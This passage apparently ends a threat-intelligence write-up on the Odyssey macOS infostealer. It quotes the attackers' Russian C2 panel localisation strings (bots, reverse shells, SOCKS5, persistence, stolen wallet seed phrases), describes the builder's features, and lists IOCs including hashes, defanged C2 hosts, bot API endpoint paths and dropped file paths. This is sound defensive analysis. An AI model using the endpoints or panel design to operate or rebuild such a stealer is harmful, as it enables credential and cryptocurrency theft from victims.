            sendCommand: `Отправить Команду`,
            enableSocks5Title: `Включить Socks5`,
            enableSocks5Prompt: `Вы уверены, что хотите включить Socks5 для бота {{idOrTarget}}?`,
            enableShellTitle: `Включить Reverse Shell`,
            enableShellPrompt: `Вы уверены, что хотите включить Reverse Shell для бота {{idOrTarget}}?`,
            enable: `Включить`,
            makePersistentTitle: `Сделать постоянным`,
            makePersistentPrompt: `Вы уверены, что хотите сделать бота {{idOrTarget}} постоянным?`,
            enterShellCommand: `Введите shell команду...`,
            unhandledActionPrompt: `Необработанное действие: {{alert}}`,
            confirm: `Подтвердить`,
            close: `Закрыть`,
            selectionLimit: `Достигнут лимит выбора. Вы можете выбрать не более 15 логов вручную.`,
            downloadLogPrompt: `Скачать лог?`,
            deleteLogPrompt: `Удалить лог?`,
            deleteAllLogsPrompt: `Удалить все логи?`,
            downloadSelectedPrompt: `Скачать выбранные логи?`,
            deleteSelectedPrompt: `Удалить выбранные логи?`,
            maxLimit: `(Макс. 15)`,
            tokenNotFound: `Токен аутентификации не найден. Пожалуйста, войдите снова.`,
            errorCreatingLink: `Ошибка при создании ссылки: {{status}}`,
            failedToCreateLink: `Не удалось создать ссылку.`,
            copyLink: `Скопировать ссылку`,
            passwordChangedSuccess: `Пароль успешно изменен!`,
            couldNotChangePassword: `Не удалось изменить пароль.`,
            settingsSavedSuccess: `Настройки успешно сохранены!`,
            couldNotSaveSettings: `Не удалось сохранить настройки.`,
            errorConnectingServer: `Ошибка подключения к серверу.`,
            successTitle: `Успех`,
            errorTitle: `Ошибка`,
            passwordPlaceholder: `Пароль`,
            tokenPlaceholder: `Токен`,
            chatIdPlaceholder: `ID Чата`,
            usernameRequired: `Требуется имя пользователя`,
            failedToCreateUser: `Не удалось создать пользователя`,
            failedToUpdateUser: `Не удалось обновить пользователя`,
            unexpectedError: `Произошла непредвиденная ошибка`,
            checkAllFields: `Пожалуйста, проверьте все обязательные поля`,
            logDeletedSuccess: `Лог успешно удален`,
            allLogsDeletedSuccess: `Все логи успешно удалены`
        },
        errors: {
            deleteLog: `Не удалось удалить лог`,
            deleteAllLogs: `Не удалось удалить все логи`
        },
        errorBoundary: {
            title: `Что-то пошло не так`,
            description: `Произошла непредвиденная ошибка. Пожалуйста, попробуйте перезагрузить страницу.`,
            retry: `Перезагрузить страницу`,
            localTitle: `Ошибка виджета`,
            localRetry: `Повторить`
        },
        common: {
            empty: `Ничего не найдено`,
            noSeedsDesc: `Все собранные сид-фразы будут отображаться здесь.`,
            noBotsDesc: `Здесь появятся ваши активные боты, как только они подключатся к серверу.`,
            noUsersDesc: `Вы можете добавить новых пользователей с помощью кнопки «Добавить пользователя» выше.`,
            noSocksDesc: `Здесь будут перечислены активные socks-соединения ваших ботов.`,
            noRevShellsDesc: `Здесь будут перечислены активные reverse shell соединения.`
        },
        seeds: {
            title: `Сиды`,
            seed: `Сид`,
            username: `Пользователь`,
            date: `Дата`,
            walletType: `Тип кошелька`,
            passphrase: `Пароль`,
            ip: `IP`,
            country: `Страна`,
            action: `Действие`,
            copy: `Копировать`,
            loading: `Загрузка сидов...`,
            noSeeds: `Сиды не найдены.`,
            copied: `Сид скопирован в буфер обмена!`
        },
        revshells: {
            ip: `IP`,
            cc: `Страна`,
            action: `Действие`,
            connect: `Подключиться`,
            delete: `Удалить`,
            deletedSuccess: `Reverse shell успешно удалён.`,
            unknownFetchError: `Неизвестная ошибка при получении reverse shells.`,
            unknownDeleteError: `Неизвестная ошибка при удалении reverse shell.`
        }
    };

C2 Operational Infrastructure

The feature set is extensive, including SOCKS5 proxies, reverse shell access, Telegram notifications, FTP exfiltration, and anti-duplication logic.

The builder allows customization of payloads with icons, backgrounds, password dialogs, and even custom AppleScript injection. Operators can also configure synthetic error messages to display after the stealer completes, maintaining the illusion of a legitimate application failure.

Quite an operation.

Threat Intelligence and Attribution

This campaign represents Odyssey stealer, a known macOS infostealer first documented in 2025 as a rebrand of the earlier Poseidon stealer, or an AMOS fork. The malware has evolved significantly since its initial discovery, with improved obfuscation, expanded credential theft capabilities, and an additional RAT component for post-exploitation.

The English/Russian interface and Cyrillic error messages strongly indicate Russian-speaking threat actors. The professional infrastructure, nice panel UI, and subscription-based model suggest an organized, profit-driven operation running as a MaaS (Malware-as-a-Service) platform.

Some articles related to this malware family:

date article
2025-06-26 cyfirma: ODYSSEY STEALER : THE REBRAND OF POSEIDON STEALER
2025-07-16 jamf: Signed and stealing: uncovering new insights on Odyssey infostealer
2025-10-09 redcanary: A taxonomy of Mac stealers: Distinguishing Atomic, Odyssey, and Poseidon
2026-05-28 malwarebytes: Fake ChatGPT download site infects Windows and Mac users with malware

IOCs

Hashes

bab1b1743bbfc0b36565728d202415574028072054777260060cb524f798ca16
254e10143ae7153f74fd92bccb536d6174980c9a9edd571df5b569955ee5e129
234bb752e806b4a5196bd6a6d34b15ebb0fbe273e6ccb6eab5d6c5dcd6309d69
227e5a628ac131e4825d2a5fa8a7a051742a8c304f5cbdb06a3858b0e88c5054
33a89db6eea3b3b01e56439de1e40d0ca542bc1938a994485c44d6037e113739
b5c06c04a75a7fa6fb54a65e55ddbf1c155073ad0d92b2da685470c31e20d298
0ff3053d9a6f510b788f7c3a84b75a14cc98e56adde725cf7617161d3bcf8723

Network Indicators

https://nqowf[.]com
http://192.253.248[.]181

POST https://nqowf[.]com/log
GET http://192.253.248[.]181/api/v1/getscptraw
GET http://192.253.248[.]181/api/v1/bot/joinsystem/{username}/{version}
GET http://192.253.248[.]181/api/v1/bot/actions/{botID}

username: prior
User-Agent: bot

File System Artifacts

/tmp/lksopo
/tmp/lksopo.zip
/tmp/socks
/tmp/unix001
~/.bhost
~/.phost
~/.username
~/.botid
~/.lastaction
~/.uninstalled
Back to top